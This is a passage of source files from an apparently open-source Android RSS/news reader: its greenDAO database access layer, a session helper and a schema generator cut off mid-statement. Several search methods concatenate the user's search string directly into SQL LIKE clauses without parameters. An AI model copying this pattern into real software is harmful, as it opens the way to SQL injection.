{\n        if(itemIds != null)\n            for(String idItem : itemIds)\n                updateIsStarredOfRssItem(idItem, markAsStarred);\n    }\n\n    public void updateIsReadOfRssItem(String ITEM_ID, Boolean isRead) {\n        RssItem rssItem = daoSession.getRssItemDao().queryBuilder().where(RssItemDao.Properties.Id.eq(ITEM_ID)).unique();\n\n        rssItem.setRead(isRead);\n        rssItem.setRead_temp(isRead);\n\n        daoSession.getRssItemDao().update(rssItem);\n    }\n\n    public void updateIsStarredOfRssItem(String ITEM_ID, Boolean isStarred) {\n        RssItem rssItem = daoSession.getRssItemDao().queryBuilder().where(RssItemDao.Properties.Id.eq(ITEM_ID)).unique();\n\n        rssItem.setStarred(isStarred);\n        rssItem.setStarred_temp(isStarred);\n\n        daoSession.getRssItemDao().update(rssItem);\n    }\n\n    public int markAllItemsAsReadForCurrentView() {\n        /*\n        String sql = \"UPDATE \" + RssItemDao.TABLENAME + \" SET \" + RssItemDao.Properties.Read_temp.columnName + \" = 1 \" +\n                \"WHERE \" + RssItemDao.Properties.Id.columnName + \" IN (SELECT \" + CurrentRssItemViewDao.Properties.RssItemId.columnName + \" FROM \" + CurrentRssItemViewDao.TABLENAME + \")\";\n        daoSession.getDatabase().execSQL(sql);\n        */\n\n        // 100 causes android.database.sqlite.SQLiteBlobTooBigException on some devices\n        final int itemsPerIteration = 25;\n\n        WhereCondition whereCondition = new WhereCondition.StringCondition(RssItemDao.Properties.Id.columnName + \" IN \" +\n                \"(SELECT \" + CurrentRssItemViewDao.Properties.RssItemId.columnName + \" FROM \" + CurrentRssItemViewDao.TABLENAME + \") AND \" +\n                RssItemDao.Properties.Read_temp.columnName + \"= 0\");\n\n        Query<RssItem> query = daoSession\n                .getRssItemDao()\n                .queryBuilder()\n                .where(whereCondition)\n                .limit(itemsPerIteration)\n                .build();\n\n        int iterationCount = 0;\n        List<RssItem> rssItemList;\n        do {\n            rssItemList = query.listLazy();\n\n            for (RssItem rssItem : rssItemList) {\n                rssItem.setRead_temp(true);\n            }\n            daoSession.getRssItemDao().updateInTx(rssItemList);\n\n            iterationCount++;\n        } while (rssItemList.size() == itemsPerIteration);\n        return (iterationCount - 1) * itemsPerIteration + rssItemList.size();\n    }\n\n\n    public List<String> getRssItemsIdsFromList(List<RssItem> rssItemList) {\n        List<String> itemIds = new ArrayList<>();\n        for(RssItem rssItem : rssItemList) {\n            itemIds.add(String.valueOf(rssItem.getId()));\n        }\n        return itemIds;\n    }\n\n    public List<RssItem> getAllNewReadRssItems() {\n        return daoSession.getRssItemDao().queryBuilder().where(RssItemDao.Properties.Read.eq(false), RssItemDao.Properties.Read_temp.eq(true)).list();\n    }\n\n    public List<RssItem> getAllNewUnreadRssItems() {\n        return daoSession.getRssItemDao().queryBuilder().where(RssItemDao.Properties.Read.eq(true), RssItemDao.Properties.Read_temp.eq(false)).list();\n    }\n\n    public List<RssItem> getAllNewStarredRssItems() {\n        return daoSession.getRssItemDao().queryBuilder().where(RssItemDao.Properties.Starred.eq(false), RssItemDao.Properties.Starred_temp.eq(true)).list();\n    }\n\n    public List<RssItem> getAllNewUnstarredRssItems() {\n        return daoSession.getRssItemDao().queryBuilder().where(RssItemDao.Properties.Starred.eq(true), RssItemDao.Properties.Starred_temp.eq(false)).list();\n    }\n\n    public LazyList<RssItem> getAllUnreadRssItemsForWidget() {\n        return daoSession.getRssItemDao().queryBuilder().where(RssItemDao.Properties.Read_temp.eq(false)).limit(100).orderDesc(RssItemDao.Properties.PubDate).listLazy();\n    }\n\n    public Set<String> getNotificationGroups() {\n        List<Feed> feeds = daoSession.getFeedDao().loadAll();\n        String[] notificationChannelsGroups = feeds\n                .stream()\n                .map(Feed::getNotificationChannel)\n                .filter(nc -> !nc.equals(\"none\"))\n                .toArray(String[]::new);\n        return new HashSet<>(Arrays.asList(notificationChannelsGroups));\n    }\n\n    public QueryBuilder<RssItem> getAllUnreadRssItemsForNotificationGroup(SORT_DIRECTION sortDirection, String notificationGroup) {\n        QueryBuilder<RssItem> qb = daoSession.getRssItemDao().queryBuilder()\n                .where(RssItemDao.Properties.Read_temp.eq(false));\n\n        // filter for notification group\n        qb.join(RssItemDao.Properties.FeedId, Feed.class, FeedDao.Properties.Id)\n                .where(FeedDao.Properties.NotificationChannel.eq(notificationGroup));\n\n        if (sortDirection == SORT_DIRECTION.asc) {\n            qb = qb.orderAsc(RssItemDao.Properties.PubDate);\n        } else {\n            qb = qb.orderDesc(RssItemDao.Properties.PubDate);\n        }\n\n        return qb;\n    }\n\n    public void markAllItemsAsRead() {\n        StopWatch sw = new StopWatch();\n        sw.start();\n\n        String sql = \"UPDATE \" + RssItemDao.TABLENAME + \" SET \" + RssItemDao.Properties.Read_temp.columnName + \" = 1 WHERE \" + RssItemDao.Properties.Read_temp.columnName + \" = 0\";\n        daoSession.getDatabase().execSQL(sql);\n\n        sw.stop();\n        Log.v(TAG, \"Time needed for marking all unread items as read: \" + sw);\n    }\n\n    public LazyList<RssItem> getAllUnreadRssItemsForDownloadWebPageService() {\n        return daoSession.getRssItemDao().queryBuilder().where(RssItemDao.Properties.Read_temp.eq(false)).orderDesc(RssItemDao.Properties.PubDate).listLazy();\n    }\n\n    public LazyList<RssItem> getAllItemsWithIdHigher(long id) {\n        return daoSession.getRssItemDao().queryBuilder().where(RssItemDao.Properties.Id.ge(id)).listLazy();\n    }\n\n    /***\n     * Warning: This methods performs database operations asynchronously. Therefore this method\n     * will return immediately - even though the operation might not be completed\n     */\n    public void updateRssItem(RssItem rssItem) {\n        AsyncTaskHelper.StartAsyncTask(new UpdateRssItemAsyncTask(rssItem));\n    }\n\n\n    class UpdateRssItemAsyncTask extends AsyncTask<Void, Void, Void> {\n\n        private final RssItem rssItem;\n\n        UpdateRssItemAsyncTask(RssItem rssItem) {\n            this.rssItem = rssItem;\n        }\n\n        @Override\n        protected Void doInBackground(Void... voids) {\n            daoSession.getRssItemDao().update(rssItem);\n\n            // Code below is used to deduplicate rss items (see https://github.com/nextcloud/news-android/issues/513)\n            if(rssItem.getRead_temp()) {\n                // Get all rss items with the same fingerprint (This operation is very slow)\n                List<RssItem> rssItemList = daoSession.getRssItemDao().queryBuilder().where(\n                        RssItemDao.Properties.Fingerprint.eq(rssItem.getFingerprint()),\n                        RssItemDao.Properties.Id.notEq(rssItem.getId()))\n                        .list();\n\n                // Sync the read-state of the items\n                for (RssItem rssItem1 : rssItemList) {\n                    rssItem1.setRead_temp(rssItem.getRead_temp());\n                }\n\n                // Update in database\n                daoSession.getRssItemDao().updateInTx(rssItemList);\n            }\n\n            return null;\n        }\n    }\n\n    public void removeFeedById(final long feedId) {\n        daoSession.runInTx(() -> {\n            daoSession.getFeedDao().deleteByKey(feedId);\n\n            List<RssItem> list = daoSession.getRssItemDao().queryBuilder().where(RssItemDao.Properties.FeedId.eq(feedId)).list();\n            for (RssItem rssItem : list) {\n                daoSession.getRssItemDao().delete(rssItem);\n            }\n        });\n    }\n\n    public void renameFeedById(long feedId, String newTitle) {\n        Feed feed = daoSession.getFeedDao().queryBuilder().where(FeedDao.Properties.Id.eq(feedId)).unique();\n        feed.setFeedTitle(newTitle);\n        daoSession.getFeedDao().update(feed);\n    }\n\n    public SparseArray<String> getUrlsToFavIcons() {\n        SparseArray<String> favIconUrls = new SparseArray<>();\n\n        for(Feed feed : getListOfFeeds())\n            favIconUrls.put((int) feed.getId(), feed.getFaviconUrl());\n\n        return favIconUrls;\n    }\n\n    public long getCurrentRssItemViewCount() {\n        return daoSession.getCurrentRssItemViewDao().count();\n\n    }\n\n    public List<RssItem> getCurrentRssItemView(int page) {\n        String where_clause = \", \" + CurrentRssItemViewDao.TABLENAME + \" C \"\n                + \" WHERE C.\" + CurrentRssItemViewDao.Properties.RssItemId.columnName + \" = T.\"\n                + RssItemDao.Properties.Id.columnName\n                + \" AND C._id > \" + page * PageSize + \" AND c._id <= \" + ((page+1) * PageSize)\n                + \" ORDER BY C.\" + CurrentRssItemViewDao.Properties.Id.columnName;\n\n        return daoSession.getRssItemDao().queryRaw(where_clause);\n    }\n\n    public LazyList<RssItem> getAllRssItems() {\n        String where_clause = \", \" + CurrentRssItemViewDao.TABLENAME + \" C \"\n                + \" WHERE C.\" + CurrentRssItemViewDao.Properties.RssItemId.columnName + \" = T.\"\n                + RssItemDao.Properties.Id.columnName\n                + \" ORDER BY C.\" + CurrentRssItemViewDao.Properties.Id.columnName;\n\n        return daoSession.getRssItemDao().queryRawCreate(where_clause).listLazy();\n    }\n\n    /**\n     * Removes only the folder, without removing feeds inside the folder\n     */\n    public void removeFolderById(final long folderId) {\n        daoSession.getFolderDao().deleteByKey(folderId);\n    }\n\n    public void renameFolderById(long folderId, String newLabel) {\n        Folder folder = daoSession.getFolderDao().queryBuilder().where(FolderDao.Properties.Id.eq(folderId)).unique();\n        folder.setLabel(newLabel);\n        daoSession.getFolderDao().update(folder);\n    }\n\n    /*\n    public void markAllItemsAsReadForCurrentView()\n    {\n        String sql = \"UPDATE \" + RssItemDao.TABLENAME + \" SET \" + RssItemDao.Properties.Read_temp.columnName + \" = 1 WHERE \" + RssItemDao.Properties.Id.columnName +\n                \" IN (SELECT \" + CurrentRssItemViewDao.Properties.RssItemId.columnName + \" FROM \" + CurrentRssItemViewDao.TABLENAME + \")\";\n        daoSession.getDatabase().execSQL(sql);\n    }\n    */\n\n    public static PodcastItem ParsePodcastItemFromRssItem(Context context, RssItem rssItem) {\n        PodcastItem podcastItem = new PodcastItem();\n        Feed feed = rssItem.getFeed();\n        podcastItem.author = feed.getFeedTitle();// rssItem.getAuthor();\n        podcastItem.itemId = rssItem.getId();\n        podcastItem.title = rssItem.getTitle();\n        podcastItem.link = rssItem.getEnclosureLink();\n        podcastItem.mimeType = rssItem.getEnclosureMime();\n        podcastItem.favIcon = feed.getFaviconUrl();\n        podcastItem.fingerprint = rssItem.getFingerprint();\n\n        if(\"image/jpeg\".equals(podcastItem.mimeType)) {\n            // We don't want to accidentally think that enclosed images are podcasts\n            podcastItem.link = \"\";\n            podcastItem.mimeType = \"\";\n        }\n\n        podcastItem.isVideoPodcast = Arrays.asList(DatabaseConnectionOrm.VIDEO_FORMATS).contains(podcastItem.mimeType);\n\n        File file = new File(PodcastDownloadService.getUrlToPodcastFile(context, podcastItem.fingerprint, podcastItem.link, false));\n        podcastItem.offlineCached = file.exists();\n\n        return podcastItem;\n    }\n\n\n    public String getAllItemsIdsForFeedSQL(long idFeed, boolean onlyUnread, boolean onlyStarredItems, SORT_DIRECTION sortDirection) {\n\n        String buildSQL =  \"SELECT \" + RssItemDao.Properties.Id.columnName +\n                \" FROM \" + RssItemDao.TABLENAME +\n                \" WHERE \" + RssItemDao.Properties.FeedId.columnName + \" = \" + idFeed;\n\n        if(onlyUnread && !onlyStarredItems)\n            buildSQL += \" AND \" + RssItemDao.Properties.Read_temp.columnName + \" != 1\";\n        else if(onlyStarredItems)\n            buildSQL += \" AND \" + RssItemDao.Properties.Starred_temp.columnName + \" = 1\";\n\n        buildSQL += \" ORDER BY \" + RssItemDao.Properties.PubDate.columnName + \" \" + sortDirection.toString();\n\n        return buildSQL;\n    }\n\n    public String getAllItemsIdsForFeedSQLFilteredByTitle(final long feedId, boolean onlyUnread, boolean onlyStarredItems, SORT_DIRECTION sortDirection, final String searchString) {\n        String buildSQL = getAllItemsIdsForFeedSQL(feedId, onlyUnread, onlyStarredItems, sortDirection);\n\n        return new StringBuilder(\n                buildSQL).insert(buildSQL.indexOf(\"ORDER\"), \" AND \" + getSearchSQLForColumn(RssItemDao.Properties.Title.columnName, searchString)).toString();\n    }\n\n    public String getAllItemsIdsForFeedSQLFilteredByBodySQL(final long feedId, boolean onlyUnread, boolean onlyStarredItems, SORT_DIRECTION sortDirection, final String searchString) {\n        String buildSQL = getAllItemsIdsForFeedSQL(feedId, onlyUnread, onlyStarredItems, sortDirection);\n\n        return new StringBuilder(\n                buildSQL).insert(buildSQL.indexOf(\"ORDER\"), \" AND \" + getSearchSQLForColumn(RssItemDao.Properties.Body.columnName, searchString)).toString();\n    }\n\n    public String getAllItemsIdsForFeedSQLFilteredByTitleAndBodySQL(final long feedId, boolean onlyUnread, boolean onlyStarredItems, SORT_DIRECTION sortDirection, final String searchString) {\n        String buildSQL = getAllItemsIdsForFeedSQL(feedId, onlyUnread, onlyStarredItems, sortDirection);\n        String titleQuery = getSearchSQLForColumn(RssItemDao.Properties.Title.columnName, searchString);\n        String bodyQuery = getSearchSQLForColumn(RssItemDao.Properties.Body.columnName, searchString);\n\n        return new StringBuilder(\n                buildSQL).insert(buildSQL.indexOf(\"ORDER\"), \" AND (\" + titleQuery + \" OR \" + bodyQuery + \")\" ).toString();\n    }\n\n    private String getSearchSQLForColumn(String column, String searchString) {\n        return column + \" LIKE \\\"%\" + searchString + \"%\\\"\";\n    }\n\n    public Long getLowestItemIdByFolder(Long id_folder) {\n        WhereCondition whereCondition = new WhereCondition.StringCondition(RssItemDao.Properties.FeedId.columnName + \" IN \" +\n                        \"(SELECT \" + FeedDao.Properties.Id.columnName +\n                        \" FROM \" + FeedDao.TABLENAME +\n                        \" WHERE \" + FeedDao.Properties.FolderId.columnName + \" = \" + id_folder + \")\");\n\n        RssItem rssItem = daoSession.getRssItemDao().queryBuilder().orderAsc(RssItemDao.Properties.Id).where(whereCondition).limit(1).unique();\n        return (rssItem != null) ? rssItem.getId() : 0;\n    }\n\n\n    public String getAllItemsIdsForFolderSQL(long ID_FOLDER, boolean onlyUnread, SORT_DIRECTION sortDirection, Context context) {\n        String buildSQL = \"SELECT \" + RssItemDao.Properties.Id.columnName +\n                \" FROM \" + RssItemDao.TABLENAME;\n\n        if(!(ID_FOLDER == ALL_UNREAD_ITEMS.getValue() || ID_FOLDER == ALL_STARRED_ITEMS.getValue() || ID_FOLDER == ALL_DOWNLOADED_PODCASTS.getValue()) || ID_FOLDER == ALL_ITEMS.getValue())//Wenn nicht Alle Artikel ausgewaehlt wurde (-10) oder (-11) fuer Starred Feeds\n        {\n            buildSQL += \" WHERE \" + RssItemDao.Properties.FeedId.columnName + \" IN \" +\n                    \"(SELECT sc.\" + FeedDao.Properties.Id.columnName +\n                    \" FROM \" + FeedDao.TABLENAME + \" sc \" +\n                    \" JOIN \" + FolderDao.TABLENAME + \" f ON sc.\" + FeedDao.Properties.FolderId.columnName + \" = f.\" + FolderDao.Properties.Id.columnName +\n                    \" WHERE f.\" + FolderDao.Properties.Id.columnName + \" = \" + ID_FOLDER + \")\";\n\n            if(onlyUnread)\n                buildSQL += \" AND \" + RssItemDao.Properties.Read_temp.columnName + \" != 1\";\n        }\n        else if(ID_FOLDER == ALL_UNREAD_ITEMS.getValue())\n            buildSQL += \" WHERE \" + RssItemDao.Properties.Read_temp.columnName + \" != 1\";\n        else if(ID_FOLDER == ALL_STARRED_ITEMS.getValue())\n            buildSQL += \" WHERE \" + RssItemDao.Properties.Starred_temp.columnName + \" = 1\";\n        else if (ID_FOLDER == ALL_DOWNLOADED_PODCASTS.getValue()) {\n            var ids = NewsFileUtils.getDownloadedPodcastsFingerprints(context);\n            var files = Arrays.stream(ids).map((f) -> \"\\\"\" + f + \"\\\"\").collect(Collectors.toList());\n            buildSQL += \" WHERE \" + RssItemDao.Properties.Fingerprint.columnName + \" in (\" + String.join(\",\", files) + \")\";\n        }\n\n        buildSQL += \" ORDER BY \" + RssItemDao.Properties.PubDate.columnName + \" \" + sortDirection.toString();\n\n        return buildSQL;\n    }\n\n    public String getAllItemsIdsForFolderSQLSearch(long ID_FOLDER, SORT_DIRECTION sortDirection, List<String> columns, String searchString) {\n        String buildSQL = \"SELECT \" + RssItemDao.Properties.Id.columnName +\n                \" FROM \" + RssItemDao.TABLENAME;\n\n        if (!(ID_FOLDER == ALL_UNREAD_ITEMS.getValue() || ID_FOLDER == ALL_STARRED_ITEMS.getValue()) || ID_FOLDER == ALL_ITEMS.getValue())//Wenn nicht Alle Artikel ausgewaehlt wurde (-10) oder (-11) fuer Starred Feeds\n        {\n            buildSQL += \" WHERE \" + RssItemDao.Properties.FeedId.columnName + \" IN \" +\n                    \"(SELECT sc.\" + FeedDao.Properties.Id.columnName +\n                    \" FROM \" + FeedDao.TABLENAME + \" sc \" +\n                    \" JOIN \" + FolderDao.TABLENAME + \" f ON sc.\" + FeedDao.Properties.FolderId.columnName + \" = f.\" + FolderDao.Properties.Id.columnName +\n                    \" WHERE f.\" + FolderDao.Properties.Id.columnName + \" = \" + ID_FOLDER + \") AND \";\n        } else {\n            buildSQL += \" WHERE \";\n        }\n\n        columns = columns.stream().map(c -> c + \" LIKE \\\"%\" + searchString + \"%\\\"\").collect(Collectors.toList());\n        buildSQL += String.join(\" OR \", columns);\n\n        buildSQL += \" ORDER BY \" + RssItemDao.Properties.PubDate.columnName + \" \" + sortDirection.toString();\n\n        return buildSQL;\n    }\n\n    public void insertIntoRssCurrentViewTable(String SQL_SELECT) {\n        StopWatch sw = new StopWatch();\n        sw.start();\n\n        SQL_SELECT = \"INSERT INTO \" + CurrentRssItemViewDao.TABLENAME +\n                \" (\" + CurrentRssItemViewDao.Properties.RssItemId.columnName + \") \" + SQL_SELECT;\n\n        final String SQL_INSERT_STATEMENT = SQL_SELECT;\n\n        daoSession.runInTx(new Runnable() {\n            @Override\n            public void run() {\n                daoSession.getCurrentRssItemViewDao().deleteAll();\n                daoSession.getDatabase().execSQL(SQL_INSERT_STATEMENT);\n            }\n        });\n\n        sw.stop();\n        Log.v(TAG, \"Time needed for insert: \" + sw);\n    }\n\n    public String getUnreadItemsCountForSpecificFolder(SPECIAL_FOLDERS specialFolder) {\n        String buildSQL = \"SELECT COUNT(1)\" +\n                \" FROM \" + RssItemDao.TABLENAME + \" rss \";\n\n        if(specialFolder != null && specialFolder.equals(SPECIAL_FOLDERS.ALL_STARRED_ITEMS)) {\n            buildSQL += \" WHERE \" + RssItemDao.Properties.Starred_temp.columnName + \" = 1 \";\n        } else {\n            buildSQL += \" WHERE \" + RssItemDao.Properties.Read_temp.columnName + \" != 1 \";\n        }\n\n        SparseArray<String> values = getStringSparseArrayFromSQL(buildSQL, 0, 0);\n        return values.valueAt(0);\n    }\n\n    /**\n     *\n     * @return [0] = unread items count for folders, [1] = unread items count for feeds\n     */\n    public SparseArray<String>[] getUnreadItemCountFeedFolder() {\n        SparseArray<String>[] values = new SparseArray[2];\n\n        String buildSQL = \"SELECT f.\" + FolderDao.Properties.Id.columnName + \", feed.\" + FeedDao.Properties.Id.columnName + \", COUNT(1)\" +\n                \" FROM \" + RssItemDao.TABLENAME + \" rss \" +\n                \" JOIN \" + FeedDao.TABLENAME + \" feed ON rss.\" + RssItemDao.Properties.FeedId.columnName + \" = feed.\" + FeedDao.Properties.Id.columnName +\n                \" LEFT OUTER JOIN \" + FolderDao.TABLENAME + \" f ON feed.\" + FeedDao.Properties.FolderId.columnName + \" = f.\" + FolderDao.Properties.Id.columnName +\n                \" WHERE \" + RssItemDao.Properties.Read_temp.columnName + \" != 1 \" +\n                \" GROUP BY f.\" + FolderDao.Properties.Id.columnName + \", feed.\" + FeedDao.Properties.Id.columnName;\n                //\" GROUP BY (case when f.\" + FolderDao.Properties.Id.columnName + \" IS NULL then feed.\" + FeedDao.Properties.Id.columnName + \" ELSE f.\" + FolderDao.Properties.Id.columnName + \" end)\";\n\n        values[0] = new SparseArray<>();\n        values[1] = new SparseArray<>();\n\n        int totalUnreadItemsCount = 0;\n\n        try (Cursor cursor = daoSession.getDatabase().rawQuery(buildSQL, null)) {\n            if (cursor != null) {\n                if (cursor.getCount() > 0) {\n                    cursor.moveToFirst();\n                    do {\n                        int folderId = cursor.getInt(0);\n                        int feedId = cursor.getInt(1);\n                        int unreadCount = cursor.getInt(2);\n\n                        totalUnreadItemsCount += unreadCount;\n\n                        values[1].put(feedId, String.valueOf(unreadCount));\n                        if (folderId != 0) {\n                            if (values[0].get(folderId) != null) {\n                                unreadCount += Integer.parseInt(values[0].get(folderId));\n                            }\n\n                            values[0].put(folderId, String.valueOf(unreadCount));\n                        }\n                    } while (cursor.moveToNext());\n                }\n            }\n        }\n\n\n        values[0].put(SPECIAL_FOLDERS.ALL_UNREAD_ITEMS.getValue(), String.valueOf(totalUnreadItemsCount));\n        values[0].put(SPECIAL_FOLDERS.ALL_STARRED_ITEMS.getValue(), getUnreadItemsCountForSpecificFolder(SPECIAL_FOLDERS.ALL_STARRED_ITEMS));\n\n\n        return values;\n\n    }\n\n    public SparseArray<String> getStarredItemCount() {\n        String buildSQL = \"SELECT \" + RssItemDao.Properties.FeedId.columnName + \", COUNT(1)\" + // rowid as _id,\n                \" FROM \" + RssItemDao.TABLENAME +\n                \" WHERE \" + RssItemDao.Properties.Starred_temp.columnName + \" = 1 \" +\n                \" GROUP BY \" + RssItemDao.Properties.FeedId.columnName;\n\n        return getStringSparseArrayFromSQL(buildSQL, 0, 1);\n    }\n\n    public int getDownloadedPodcastsCount(Context context) {\n        var ids = NewsFileUtils.getDownloadedPodcastsFingerprints(context);\n        var files = Arrays.stream(ids).map((f) -> \"\\\"\" + f + \"\\\"\").collect(Collectors.toList());\n\n        String buildSQL = \"SELECT COUNT(1)\" +\n                \" FROM \" + RssItemDao.TABLENAME +\n                \" WHERE \" + RssItemDao.Properties.Fingerprint.columnName + \" in (\" + String.join(\",\", files) + \")\";\n\n        return (int) getLongValueBySQL(buildSQL);\n    }\n\n    public void clearDatabaseOverSize()\n    {\n        //If i have 9023 rows in the database, when i run that query it should delete 8023 rows and leave me with 1000\n        //database.execSQL(\"DELETE FROM \" + RSS_ITEM_TABLE + \" WHERE \" +  + \"ORDER BY rowid DESC LIMIT 1000 *\n\n        //Let's say it said 1005 - you need to delete 5 rows.\n        //DELETE FROM table ORDER BY dateRegistered ASC LIMIT 5\n\n\n        int max = Constants.maxItemsCount;\n        int total = (int) getLongValueBySQL(\"SELECT COUNT(*) FROM \" + RssItemDao.TABLENAME);\n        int unread = (int) getLongValueBySQL(\"SELECT COUNT(*) FROM \" + RssItemDao.TABLENAME + \" WHERE \" + RssItemDao.Properties.Read_temp.columnName + \" != 1\");\n        int read = total - unread;\n\n        if(total > max)\n        {\n            Log.v(TAG, \"Clearing Database oversize\");\n\n            int overSize = total - max;\n            //Soll verhindern, dass ungelesene Artikel gelöscht werden\n            if(overSize > read)\n                overSize = read;\n\n            var downloadedPodcastsFingerprints = NewsFileUtils.getDownloadedPodcastsFingerprints(context);\n            var files = Arrays.stream(downloadedPodcastsFingerprints).map((f) -> \"\\\"\" + f + \"\\\"\").collect(Collectors.toList());\n\n            String sqlStatement = \"DELETE FROM \" + RssItemDao.TABLENAME + \" WHERE \" + RssItemDao.Properties.Id.columnName +\n                                    \" IN (SELECT \" + RssItemDao.Properties.Id.columnName + \" FROM \" + RssItemDao.TABLENAME +\n                                    \" WHERE \" + RssItemDao.Properties.Read_temp.columnName + \" = 1 AND \" + RssItemDao.Properties.Starred_temp.columnName + \" != 1 \" +\n                                    \" AND \" + RssItemDao.Properties.Fingerprint.columnName + \" NOT IN (\" + String.join(\",\", files) + \")\" + // This means that the article has downloaded podcast media\n                                    \" AND \" + RssItemDao.Properties.Id.columnName + \" NOT IN (SELECT \" + CurrentRssItemViewDao.Properties.RssItemId.columnName + \" FROM \" + CurrentRssItemViewDao.TABLENAME + \")\" +\n                                    \" ORDER BY \" + RssItemDao.Properties.Id.columnName + \" asc LIMIT \" + overSize + \")\";\n            daoSession.getDatabase().execSQL(sqlStatement);\n    \t\t/* SELECT * FROM rss_item WHERE read_temp = 1 ORDER BY rowid asc LIMIT 3; */\n        } else {\n            Log.v(TAG, \"Clearing Database oversize not necessary\");\n        }\n    }\n\n    public long getLastModified()\n    {\n        List<RssItem> rssItemList = daoSession.getRssItemDao().queryBuilder().orderDesc(RssItemDao.Properties.LastModified).limit(1).list();\n\n        if(rssItemList.size() > 0)\n            return rssItemList.get(0).getLastModified().getTime();\n        return 0;\n    }\n\n    public long getLowestItemId(boolean onlyStarred)\n    {\n        List<RssItem> rssItemList;\n\n        if(onlyStarred)\n            rssItemList = daoSession.getRssItemDao().queryBuilder().orderDesc(RssItemDao.Properties.Starred_temp).orderAsc(RssItemDao.Properties.Id).limit(1).list();\n        else\n            rssItemList = daoSession.getRssItemDao().queryBuilder().orderAsc(RssItemDao.Properties.Id).limit(1).list();\n\n        if(rssItemList.size() > 0)\n            return rssItemList.get(0).getId();\n        return 0;\n    }\n\n    public long getHighestItemId()\n    {\n        List<RssItem> rssItemList = daoSession.getRssItemDao().queryBuilder().orderDesc(RssItemDao.Properties.Id).limit(1).list();\n\n        if(rssItemList.size() > 0)\n            return rssItemList.get(0).getId();\n        return 0;\n    }\n\n\n\n\n\n\n\n\n    public long getLongValueBySQL(String buildSQL)\n    {\n        long result = -1;\n\n        try (Cursor cursor = daoSession.getDatabase().rawQuery(buildSQL, null)) {\n            if (cursor != null && cursor.moveToFirst()) {\n                result = cursor.getLong(0);\n            }\n        }\n\n        return result;\n    }\n\n    public SparseArray<Integer> getIntegerSparseArrayFromSQL(String buildSQL, int indexKey, int indexValue) {\n        SparseArray<Integer> result = new SparseArray<>();\n\n        try (Cursor cursor = daoSession.getDatabase().rawQuery(buildSQL, null)) {\n            if (cursor != null) {\n                if (cursor.getCount() > 0) {\n                    cursor.moveToFirst();\n                    do {\n                        int key = cursor.getInt(indexKey);\n                        Integer value = cursor.getInt(indexValue);\n                        result.put(key, value);\n                    } while (cursor.moveToNext());\n                }\n            }\n        }\n\n        return result;\n    }\n\n    public SparseArray<String> getStringSparseArrayFromSQL(String buildSQL, int indexKey, int indexValue) {\n        SparseArray<String> result = new SparseArray<>();\n\n        try (Cursor cursor = daoSession.getDatabase().rawQuery(buildSQL, null)) {\n            if (cursor != null) {\n                if (cursor.getCount() > 0) {\n                    cursor.moveToFirst();\n                    do {\n                        int key = cursor.getInt(indexKey);\n                        String value = cursor.getString(indexValue);\n                        result.put(key, value);\n                    } while (cursor.moveToNext());\n                }\n            }\n        }\n\n        return result;\n    }\n\n\n    public static String join(Collection<?> col, String delim) {\n        StringBuilder sb = new StringBuilder();\n        Iterator<?> iter = col.iterator();\n        if (iter.hasNext())\n            sb.append(iter.next().toString());\n        while (iter.hasNext()) {\n            sb.append(delim);\n            sb.append(iter.next().toString());\n        }\n        return sb.toString();\n    }\n\n    public void clearSessionCache() {\n        daoSession.clear();\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/database/DatabaseHelperOrm.java",
    "content": "/*\n* Android ownCloud News\n *\n * @author David Luhmer\n * @copyright 2013 David Luhmer david-dev@live.de\n *\n * This library is free software; you can redistribute it and/or\n * modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n * License as published by the Free Software Foundation; either\n * version 3 of the License, or any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n *\n * You should have received a copy of the GNU Affero General Public\n * License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n *\n */\n\npackage de.luhmer.owncloudnewsreader.database;\n\nimport android.content.Context;\nimport android.database.sqlite.SQLiteDatabase;\n\nimport de.luhmer.owncloudnewsreader.database.model.DaoMaster;\nimport de.luhmer.owncloudnewsreader.database.model.DaoSession;\n\npublic class DatabaseHelperOrm {\n    private volatile static DaoSession daoSession;\n\n    public static DaoSession getDaoSession(Context context, String DATABASE_NAME_ORM) {\n        if(daoSession == null) {\n            synchronized (DatabaseHelperOrm.class) {\n                if(daoSession == null) {\n                    // As we are in development we will use the DevOpenHelper which drops the database on a schema update\n                    DaoMaster.DevOpenHelper helper = new DaoMaster.DevOpenHelper(context, DATABASE_NAME_ORM, null);\n                    // Access the database using the helper\n                    SQLiteDatabase db = helper.getWritableDatabase();\n                    // Construct the DaoMaster which brokers DAOs for the Domain Objects\n                    DaoMaster daoMaster = new DaoMaster(db);\n                    // Create the session which is a container for the DAO layer and has a cache which will return handles to the same object across multiple queries\n                    daoSession = daoMaster.newSession();\n                }\n            }\n        }\n        return daoSession;\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/database/generator/DatabaseOrmGenerator.java",
    "content": "package de.luhmer.owncloudnewsreader.database.generator;\n\nimport java.util.ArrayList;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\n\nimport de.greenrobot.daogenerator.DaoGenerator;\n\npublic class DatabaseOrmGenerator {\n    private static final String SCHEMA_OUTPUT_DIR = \"./News-Android-App/src/main/java/\";\n\n    /**\n     * Generator main application which builds all of the schema versions\n     * (including older versions used for migration test purposes) and ensures\n     * business rules are met; these include ensuring we only have a single\n     * current schema instance and the version numbering is correct.\n     */\n    public static void main(String[] args) throws Exception {\n        List<SchemaVersion> versions = new ArrayList<>();\n\n        versions.add(new LastestVersion(true));\n\n        validateSchemas(versions);\n\n        for (SchemaVersion version : versions) {\n            // NB: Test output creates stubs, we have an established testing\n            // standard which should be followed in preference to generating\n            // these stubs.\n            new DaoGenerator().generateAll(version.getSchema(),\n                    SCHEMA_OUTPUT_DIR);\n        }\n    }\n\n    /**\n     * Validate the schema, throws\n     *\n     * @throws IllegalArgumentException\n     *             if data is invalid\n     */\n    public static void validateSchemas(List<SchemaVersion> versions)\n            throws IllegalArgumentException {\n        int numCurrent = 0;\n        Set<Integer> versionNumbers = new HashSet<>();\n\n        for (SchemaVersion version : versions) {\n            if (version.isCurrent()) {\n                numCurrent++;\n            }\n\n            int versionNumber = version.getVersionNumber();\n            if (versionNumbers.contains(versionNumber)) {\n                throw new IllegalArgumentException(\n                        \"Unable to process schema versions, multiple instances with version number : \"\n                                + 